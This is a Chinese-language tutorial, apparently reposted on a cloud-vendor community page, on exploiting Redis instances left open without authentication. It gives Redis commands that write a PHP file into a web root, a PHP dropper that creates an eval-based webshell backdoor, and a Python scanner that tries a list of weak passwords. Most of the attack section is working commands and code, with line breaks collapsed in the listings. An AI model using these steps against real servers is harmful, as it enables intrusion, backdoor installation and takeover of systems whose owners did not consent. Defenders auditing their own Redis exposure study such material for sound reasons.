Redis 未授權訪問漏洞(附Python指令碼)

來源:互聯網
上載者:User

標籤:location   /usr   color   .net   ora   exit   進程   用戶端   自動   

0x01 環境搭建
#下載並安裝cd /tmpwget http://download.redis.io/releases/redis-2.8.17.tar.gztar xzf redis-2.8.17.tar.gzcd redis-2.8.17make#啟動redis服務cd src./redis-server

啟動redis服務進程後,就可以使用測試用戶端程式redis-cli和redis服務互動了。 比如:

[email protected]:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140192.168.125.140:6379> pingPONG192.168.125.140:6379>
0x02 未授權訪問漏洞測試

使用redis用戶端直接無帳號成功登入redis:

從登入的結果可以看出該redis服務對公網開放,且未啟用認證。

利用redis寫webshell

利用前提:

1.redis未授權 能redis-cli連上

2.開了web並且知道路徑(如利用phpinfo)

我們可以將dir設定為一個目錄a,而dbfilename為檔案名稱b,再執行save或bgsave,則我們就可以寫入一個路徑為a/b的任意檔案:

config set dir /home/wwwroot/default/config set dbfilename redis.phpset webshell "<?php phpinfo(); ?>"save

當資料庫過大時,redis寫shell的小技巧:

<?php 
set_time_limit(0);
$fp=fopen(‘wtf.php‘,‘w‘);
fwrite($fp,‘<?php @eval($_POST[\"mmbns233\"]);?>‘);
exit();
?>
0x03 Pyhton指令碼自動化測試

可用來測試是否存在未授權或弱口令的情況

#! /usr/bin/env python# _*_  coding:utf-8 _*_import socketPASSWORD_DIC=[‘redis‘,‘root‘,‘oracle‘,‘password‘,‘[email protected]‘,‘abc123!‘,‘123456‘,‘admin‘]def check(ip, port, timeout):    try:        socket.setdefaulttimeout(timeout)        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect((ip, int(port)))        s.send("INFO\r\n")        result = s.recv(1024)        if "redis_version" in result:            return u"未授權訪問"        elif "Authentication" in result:            for pass_ in PASSWORD_DIC:                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                s.connect((ip, int(port)))                s.send("AUTH %s\r\n" %(pass_))                result = s.recv(1024)                if ‘+OK‘ in result:                    return u"存在弱口令,密碼:%s" % (pass_)    except Exception, e:        passprint check("192.168.125.140", "6379", timeout=10)

 

參考文章:

Redis 安裝 http://www.runoob.com/redis/redis-install.html

Redis未授權訪問漏洞  http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

 

Redis 未授權訪問漏洞(附Python指令碼)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.